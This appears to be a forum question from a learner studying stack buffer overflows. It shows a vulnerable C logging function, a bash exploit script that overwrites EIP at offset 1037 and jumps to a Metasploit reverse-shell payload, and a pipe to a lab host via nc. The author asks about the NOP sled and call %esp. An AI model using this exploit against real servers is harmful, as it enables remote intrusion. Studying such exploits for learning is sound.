I'm learning about stack buffer overflow and I'd appreciate help.
I'm exploiting simple web server containing this log function. Argument s1 is the input that I supply via HTTP. Server is running on x86 linux with stack address randomization.
void log(int type, char *s1, int num)
{
int fd ;
char logbuffer[1024];
sprintf(logbuffer," INFO: %s:%d",s1,num);
}
With metasploit pattern_create.rb and pattern_offset.rb I get offset of EIP that is 1037.
I generate shellcode with msfconsole; use linux/x86/shell_reverse_tcp; generate -e x86/alpha_mixed -t bash
I find several addresses in standard library containing jump %esp instruction. I am using 0x42122BA7.
My complete exploit script:
pre=`perl -e "print 'A' x 1037;"`
nops=`perl -e "print '\x90' x 9;"`
shellcode=... [from msfconsole]
address="\xA7\x2B\x12\x42"
egg="${pre}${address}${nops}${shellcode}"
echo -e $egg | nc 192.168.230.132 8888
echo $?
The exploit is working only when I include 9 and more nops between the overwritten EIP and start of the shellcode, otherwise it seg faults. My question is why? Why is the nops sled necessary in this case? My hypothesis is that the shellcode is decoding itself and overwriting some memory before it; when I include nops, the memory is writable, when I don't, the memory is not-writable (because it is before ESP?) and therefore it seg faults.
My second question is whether this exploit would work with "call %esp" instead of "jmp %esp". According to what I found on the internet it would work, but I don't understand why. Imagine the same exploit as wrtitten above but overwriting the EIP with address containing "call %esp". This is my understanding what would follow:
- log function returns. EIP is popped of the stack and processor jmp on it. ESP points under (bigger address) just-popped EIP (NOPs are there).
- processor finds "call %esp" instruction. EIP is pushed to stack. ESP now points at the just-pushed EIP.
- jmp %esp is executed. Jumping on the top of the stack where is the EIP that was just pushed.
- What now? Next instruction isn't a NOP but some random first byte of the EIP.